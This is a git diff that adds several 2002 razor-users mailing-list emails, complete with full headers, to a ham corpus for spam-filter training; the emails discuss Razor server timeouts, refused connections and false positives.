+------=_NextPart_000_0014_01C23C69.66A70650 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +I use a perl script that disables Razor for thirty minutes any time it = +times out. Not a true fix, but a workaround. + +Fox + ----- Original Message -----=20 + From: Daniel Higgins=20 + To: razor-users@example.sourceforge.net=20 + Sent: Monday, August 05, 2002 9:49 AM + Subject: [Razor-users] Reliability of the razor servers? + + + ok so after waiting all this time before upgrading to V2 (just did it = +this morning because V1 isn't effective at all anymore) i ran into = +problems with reliability of the servers. it took me about half an hour = +to do a razor-admin -create and razor-admin -register constantly = +retrying because it kept timing out + + connect1: nextserver: Could not get valid info from Discovery Servers + + is it a problem just now or is that standard issue? up until now i've = +been advocating razor to all, but i it starts to have reliability issues = +we might as well look for another way to catch the spam, we can't afford = +to have one anti spam trick, no matter how effective, bog down the = +entire mail server + + -- + Daniel Higgins + Netcommunications Inc. + +------=_NextPart_000_0014_01C23C69.66A70650 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
I use a perl script that disables Razor = +for thirty=20 +minutes any time it times out.  Not a true fix, but a=20 +workaround.
+
 
+
Fox
+
+
----- Original Message -----
+ From:=20 + Daniel = +Higgins=20 + +
To: razor-users@lists.sourc= +eforge.net=20 +
+
Sent: Monday, August 05, 2002 = +9:49=20 + AM
+
Subject: [Razor-users] = +Reliability of the=20 + razor servers?
+

+
ok so after waiting all this time = +before=20 + upgrading to V2 (just did it this morning because V1 isn't effective = +at all=20 + anymore) i ran into problems with reliability of the servers. it took = +me about=20 + half an hour to do a razor-admin -create and razor-admin -register = +constantly=20 + retrying because it kept timing out
+
 
+
connect1: nextserver: Could not get = +valid info=20 + from Discovery Servers
+
 
+
is it a problem just now or is that = +standard=20 + issue? up until now i've been advocating razor to all, but i it starts = +to have=20 + reliability issues we might as well look for another way to catch the = +spam, we=20 + can't afford to have one anti spam trick, no matter how effective, bog = +down=20 + the entire mail server
+
 
+
--
Daniel = +Higgins
Netcommunications=20 + Inc.
+ +------=_NextPart_000_0014_01C23C69.66A70650-- + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00570.a8f739b7a0c060d178c0f6c01152b6aa b/bayes/spamham/easy_ham_2/00570.a8f739b7a0c060d178c0f6c01152b6aa new file mode 100644 index 0000000..3c2ca89 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00570.a8f739b7a0c060d178c0f6c01152b6aa @@ -0,0 +1,81 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:30:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9FBAD44192 + for ; Tue, 6 Aug 2002 06:33:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:33:26 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75Ei2k14810 for ; Mon, 5 Aug 2002 15:44:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17biwr-00048F-00; Mon, + 05 Aug 2002 07:35:05 -0700 +Received: from smtp-gw.dmv.com ([64.45.128.8]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17biwX-0003VO-00 for ; Mon, + 05 Aug 2002 07:34:45 -0700 +Received: from mail-gw.dmv.com (mail-gw.dmv.com [64.45.128.6]) by + smtp-gw.dmv.com (8.9.3/8.11.6) with ESMTP id KAA94726 for + ; Mon, 5 Aug 2002 10:34:43 -0400 (EDT) + (envelope-from sven@dmv.com) +Received: from landshark (landshark.dmv.com [64.45.129.242]) by + mail-gw.dmv.com (8.11.6/8.11.6) with SMTP id g75EjHq15654 for + ; Mon, 5 Aug 2002 10:45:17 -0400 (EDT) + (envelope-from sven@dmv.com) +Message-Id: <019e01c23c8c$f3c46e60$f2812d40@landshark> +From: "Sven" +To: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Razor-users] Change timeout setting??? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 10:32:40 -0400 +Date: Mon, 5 Aug 2002 10:32:40 -0400 + +This is a semi-followup on my previous question. I am running razor-check +through a sendmail milter (smrazor http://www.sapros.com/smrazor/ ) and have +set up my milter timeouts to 20sec connect and 30 sec response. The problem +is that there is another timeout setting for razor-check that I am unable to +locate. My razor-agent.log is now getting filled with : + +check[6149]: [ 3] Timed out (15 sec) while reading from honor.cloudmark.com. + +So the question is, is there a razor-agent.conf file setting to increase +this timeout value? I have this problem on 2 different servers now (as +apparently ubik.cloudmark and apt.cloudmark are refusing connections) ...... + +Sven + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00571.f40af0c5bd3cc0bc6cd1c43eafa48b49 b/bayes/spamham/easy_ham_2/00571.f40af0c5bd3cc0bc6cd1c43eafa48b49 new file mode 100644 index 0000000..0fa4b3e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00571.f40af0c5bd3cc0bc6cd1c43eafa48b49 @@ -0,0 +1,175 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:31:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8124644188 + for ; Tue, 6 Aug 2002 06:32:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:32:31 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75EAvk13904 for ; Mon, 5 Aug 2002 15:10:57 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17biPu-0006IS-00; Mon, + 05 Aug 2002 07:01:02 -0700 +Received: from mail.naisp.net ([216.129.152.3]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17biP0-0000MK-00 for ; Mon, + 05 Aug 2002 07:00:06 -0700 +Received: from iss (hidden-user@psn.naisp.net [216.129.152.254]) by + mail.naisp.net (8.11.6/8.11.6) with SMTP id g75DxuX17763 for + ; Mon, 5 Aug 2002 09:59:56 -0400 +Message-Id: <030301c23c88$613c0f20$1532a8c0@naedomain.com> +From: "Alan A." +To: +References: <000a01c23c86$e252b2f0$6600a8c0@dhiggins> +Subject: Re: [Razor-users] Reliability of the razor servers? +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0300_01C23C66.DA1E1310" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 09:59:56 -0400 +Date: Mon, 5 Aug 2002 09:59:56 -0400 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0300_01C23C66.DA1E1310 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +It appears that the servers are having issues, I'm seeing tons of = +timeouts, and such. It was working fine up until this morning, so I'd = +say they must be having backbone or server issues on their end. + +- AA - + ----- Original Message -----=20 + From: Daniel Higgins=20 + To: razor-users@example.sourceforge.net=20 + Sent: Monday, August 05, 2002 9:49 AM + Subject: [Razor-users] Reliability of the razor servers? + + + ok so after waiting all this time before upgrading to V2 (just did it = +this morning because V1 isn't effective at all anymore) i ran into = +problems with reliability of the servers. it took me about half an hour = +to do a razor-admin -create and razor-admin -register constantly = +retrying because it kept timing out + + connect1: nextserver: Could not get valid info from Discovery Servers + + is it a problem just now or is that standard issue? up until now i've = +been advocating razor to all, but i it starts to have reliability issues = +we might as well look for another way to catch the spam, we can't afford = +to have one anti spam trick, no matter how effective, bog down the = +entire mail server + + -- + Daniel Higgins + Netcommunications Inc. + +------=_NextPart_000_0300_01C23C66.DA1E1310 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
It appears that the servers are having = +issues, I'm=20 +seeing tons of timeouts, and such.  It was working fine up until = +this=20 +morning, so I'd say they must be having backbone or server issues on = +their=20 +end.
+
 
+
- AA -
+
+
----- Original Message -----
+ From:=20 + Daniel = +Higgins=20 + +
To: razor-users@lists.sourc= +eforge.net=20 +
+
Sent: Monday, August 05, 2002 = +9:49=20 + AM
+
Subject: [Razor-users] = +Reliability of the=20 + razor servers?
+

+
ok so after waiting all this time = +before=20 + upgrading to V2 (just did it this morning because V1 isn't effective = +at all=20 + anymore) i ran into problems with reliability of the servers. it took = +me about=20 + half an hour to do a razor-admin -create and razor-admin -register = +constantly=20 + retrying because it kept timing out
+
 
+
connect1: nextserver: Could not get = +valid info=20 + from Discovery Servers
+
 
+
is it a problem just now or is that = +standard=20 + issue? up until now i've been advocating razor to all, but i it starts = +to have=20 + reliability issues we might as well look for another way to catch the = +spam, we=20 + can't afford to have one anti spam trick, no matter how effective, bog = +down=20 + the entire mail server
+
 
+
--
Daniel = +Higgins
Netcommunications=20 + Inc.
+ +------=_NextPart_000_0300_01C23C66.DA1E1310-- + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00572.de050685895059e75d0a472c6b203376 b/bayes/spamham/easy_ham_2/00572.de050685895059e75d0a472c6b203376 new file mode 100644 index 0000000..9116028 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00572.de050685895059e75d0a472c6b203376 @@ -0,0 +1,86 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:36:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5BF4B4418A + for ; Tue, 6 Aug 2002 06:32:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:32:47 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75ELvk14139 for ; Mon, 5 Aug 2002 15:21:57 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17biaa-00007m-00; Mon, + 05 Aug 2002 07:12:04 -0700 +Received: from efes.daimi.au.dk ([130.225.17.145]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bia1-0004i6-00 for ; Mon, + 05 Aug 2002 07:11:29 -0700 +Received: (from glad@localhost) by efes.daimi.au.dk (8.11.6/8.11.6) id + g75EBOX31345 for razor-users@lists.sourceforge.net; Mon, 5 Aug 2002 + 16:11:24 +0200 +From: Michael Glad +Message-Id: <200208051411.g75EBOX31345@efes.daimi.au.dk> +To: razor-users@example.sourceforge.net +X-Mailer: ELM [version 2.4ME+ PL60 (25)] +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +Subject: [Razor-users] Trivial false-positives +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 16:11:24 +0200 (CEST) +Date: Mon, 5 Aug 2002 16:11:24 +0200 (CEST) + + +It seems that an email consisting of a single line containg a +control-M is detected as spam. + +It also seems that an email consisting of 5 blank lines is also +treated as spam: + +efes:~% rm -f qq +efes:~% perl -e 'for($i = 0; $i < 5; $i++) { print "\n"; }' >> qq +efes:~% razor-check -d qq > /tmp/bar +efes:~% grep 'known spam' /tmp/bar +Aug 05 16:07:20.141526 check[31105]: [ 3] mail 1 is known spam. + +I'm running Razor-agents 2.14. + +These examples are based on real-life false-positives found by my +users. One of the reals emails was sent by a user which wrote the +real contents of the email in the Subject field. + +I thought the newer Razor-releases avoided these problems. + + -- Michael Glad, email: glad@daimi.au.dk + + + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00573.820e675aeeb4ccdea8885962bcb877eb b/bayes/spamham/easy_ham_2/00573.820e675aeeb4ccdea8885962bcb877eb new file mode 100644 index 0000000..2aec634 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00573.820e675aeeb4ccdea8885962bcb877eb @@ -0,0 +1,67 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:37:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C5BB8441B2 + for ; Tue, 6 Aug 2002 06:36:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:36:38 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75IDJk21323 for ; Mon, 5 Aug 2002 19:13:20 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bmF4-0000Rs-00; Mon, + 05 Aug 2002 11:06:06 -0700 +Received: from med-core07.med.wayne.edu ([146.9.19.23]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17bmEI-0005RX-00 for ; Mon, + 05 Aug 2002 11:05:18 -0700 +X-Mimeole: Produced By Microsoft Exchange V6.0.6249.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: What's wrong with the Razor servers now? +Thread-Index: AcI6NTHhdNlotwjiQEiUizLDYaWgngCdP1sA +From: "Rose, Bobby" +To: "ML-razor-users" +Subject: [Razor-users] What's wrong with the Razor servers now? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 14:05:09 -0400 +Date: Mon, 5 Aug 2002 14:05:09 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g75IDJk21323 + +I noticed a low count of razor'd spam messages. So after digging, if I +razor-report a message the diags say that it was accepted but if I turn +around and run a check on the exact same message that was reported, then +it doesn't find the sig and as such isn't spam. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00574.ca8de7c19bacedefb060405b55d13c29 b/bayes/spamham/easy_ham_2/00574.ca8de7c19bacedefb060405b55d13c29 new file mode 100644 index 0000000..2e5adaa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00574.ca8de7c19bacedefb060405b55d13c29 @@ -0,0 +1,104 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:37:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C132044189 + for ; Tue, 6 Aug 2002 06:32:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:32:41 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75EBCk13914 for ; Mon, 5 Aug 2002 15:11:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17biQx-0006XM-00; Mon, + 05 Aug 2002 07:02:07 -0700 +Received: from smtp-gw.dmv.com ([64.45.128.8]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17biQ5-0001DD-00 for ; Mon, + 05 Aug 2002 07:01:14 -0700 +Received: from mail-gw.dmv.com (mail-gw.dmv.com [64.45.128.6]) by + smtp-gw.dmv.com (8.9.3/8.11.6) with ESMTP id KAA82784 for + ; Mon, 5 Aug 2002 10:01:11 -0400 (EDT) + (envelope-from sven@dmv.com) +Received: from landshark (landshark.dmv.com [64.45.129.242]) by + mail-gw.dmv.com (8.11.6/8.11.6) with SMTP id g75EBjq12050 for + ; Mon, 5 Aug 2002 10:11:45 -0400 (EDT) + (envelope-from sven@dmv.com) +Message-Id: <010e01c23c88$446b59a0$f2812d40@landshark> +From: "Sven" +To: +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_010B_01C23C66.BD4B88D0" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [Razor-users] unable to connect to ubik or apt +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 09:59:07 -0400 +Date: Mon, 5 Aug 2002 09:59:07 -0400 + +This is a multi-part message in MIME format. + +------=_NextPart_000_010B_01C23C66.BD4B88D0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +"connection refused" .... currently I am only able to connect to = +honor[.cloudmark.com] and am suffering a high rate of timeouts as a = +result. Is there a problem with the other two servers????? + +Sven + +------=_NextPart_000_010B_01C23C66.BD4B88D0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
"connection refused" .... currently I = +am only able=20 +to connect to honor[.cloudmark.com] and am suffering a high rate of = +timeouts as=20 +a result. Is there a problem with the other two = +servers?????
+
 
+
Sven
+ +------=_NextPart_000_010B_01C23C66.BD4B88D0-- + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00575.4fea6123edb74361f0cf88c7621174e0 b/bayes/spamham/easy_ham_2/00575.4fea6123edb74361f0cf88c7621174e0 new file mode 100644 index 0000000..c6610d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00575.4fea6123edb74361f0cf88c7621174e0 @@ -0,0 +1,80 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:39:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1437044185 + for ; Tue, 6 Aug 2002 06:31:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:31:39 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75Dekk12988 for ; Mon, 5 Aug 2002 14:40:46 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17bhr7-0000qn-00; Mon, + 05 Aug 2002 06:25:05 -0700 +Received: from cs188014.pp.htv.fi ([213.243.188.14] helo=nightwatch.storm) + by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) + id 17bhqo-0000x4-00 for ; + Mon, 05 Aug 2002 06:24:46 -0700 +Received: from nightwatch.storm (nightwatch.storm [192.168.0.1]) by + nightwatch.storm (8.11.6/linuxconf) with ESMTP id g75DNv418486; + Mon, 5 Aug 2002 16:24:00 +0300 +From: Mika Hirvonen +X-X-Sender: hirvox@nightwatch.storm +To: Ray Gardener +Cc: Forrest English , + +Subject: Re: [Razor-users] report automation with pine? +In-Reply-To: <004e01c23c5f$96522240$5a14348f@videoproducer> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 16:23:57 +0300 (EEST) +Date: Mon, 5 Aug 2002 16:23:57 +0300 (EEST) + +On Mon, 5 Aug 2002, Ray Gardener wrote: + +> setup the config of pine to +> enable the enable-unix-pipe-cmd +> +> then when reading the message +> +> enter +> +> | razor-check +You should also enable raw mode (ctrl-w) and delimiters (ctrl-r) before +directing messages to the pipe. Raw mode includes the headers and +delimiters allow several messages to be submitted. + +-- +Mika Hirvonen + http://nightwatch.mine.nu/ + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00576.da562ad33f7db223b12b85e2eb9fdefe b/bayes/spamham/easy_ham_2/00576.da562ad33f7db223b12b85e2eb9fdefe new file mode 100644 index 0000000..73dbf8e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00576.da562ad33f7db223b12b85e2eb9fdefe @@ -0,0 +1,128 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 6 12:39:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AC7A144187 + for ; Tue, 6 Aug 2002 06:31:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:31:58 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g75Dwvk13483 for ; Mon, 5 Aug 2002 14:58:57 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17biGD-0004cX-00; Mon, + 05 Aug 2002 06:51:01 -0700 +Received: from netcom.netc.net ([205.205.40.8] helo=netc.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17biFE-0006Ib-00 for ; Mon, + 05 Aug 2002 06:50:00 -0700 +Received: from dhiggins ([::ffff:205.233.198.35]) (IDENT: xafurni) by + netc.net with esmtp; Mon, 05 Aug 2002 09:49:57 -0400 +Message-Id: <000a01c23c86$e252b2f0$6600a8c0@dhiggins> +From: "Daniel Higgins" +To: razor-users@example.sourceforge.net +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0007_01C23C65.5AE1B4E0" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +Subject: [Razor-users] Reliability of the razor servers? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 5 Aug 2002 09:49:13 -0400 +Date: Mon, 5 Aug 2002 09:49:13 -0400 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C23C65.5AE1B4E0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +ok so after waiting all this time before upgrading to V2 (just did it = +this morning because V1 isn't effective at all anymore) i ran into = +problems with reliability of the servers. it took me about half an hour = +to do a razor-admin -create and razor-admin -register constantly = +retrying because it kept timing out + +connect1: nextserver: Could not get valid info from Discovery Servers + +is it a problem just now or is that standard issue? up until now i've = +been advocating razor to all, but i it starts to have reliability issues = +we might as well look for another way to catch the spam, we can't afford = +to have one anti spam trick, no matter how effective, bog down the = +entire mail server + +-- +Daniel Higgins +Netcommunications Inc. + +------=_NextPart_000_0007_01C23C65.5AE1B4E0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
ok so after waiting all this time = +before upgrading=20 +to V2 (just did it this morning because V1 isn't effective at all = +anymore) i ran=20 +into problems with reliability of the servers. it took me about half an = +hour to=20 +do a razor-admin -create and razor-admin -register constantly retrying = +because=20 +it kept timing out
+
 
+
connect1: nextserver: Could not get = +valid info from=20 +Discovery Servers
+
 
+
is it a problem just now or is that = +standard issue?=20 +up until now i've been advocating razor to all, but i it starts to have=20 +reliability issues we might as well look for another way to catch the = +spam, we=20 +can't afford to have one anti spam trick, no matter how effective, bog = +down the=20 +entire mail server
+
 
+
--
Daniel = +Higgins
Netcommunications=20 +Inc.
+ +------=_NextPart_000_0007_01C23C65.5AE1B4E0-- + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00577.1eda2cf255a8628824556504e064df4d b/bayes/spamham/easy_ham_2/00577.1eda2cf255a8628824556504e064df4d new file mode 100644 index 0000000..50d3376 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00577.1eda2cf255a8628824556504e064df4d @@ -0,0 +1,74 @@ +From webmake-talk-admin@lists.sourceforge.net Tue Aug 6 12:39:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A037C44165 + for ; Tue, 6 Aug 2002 06:26:00 -0400 (EDT) +Received: from 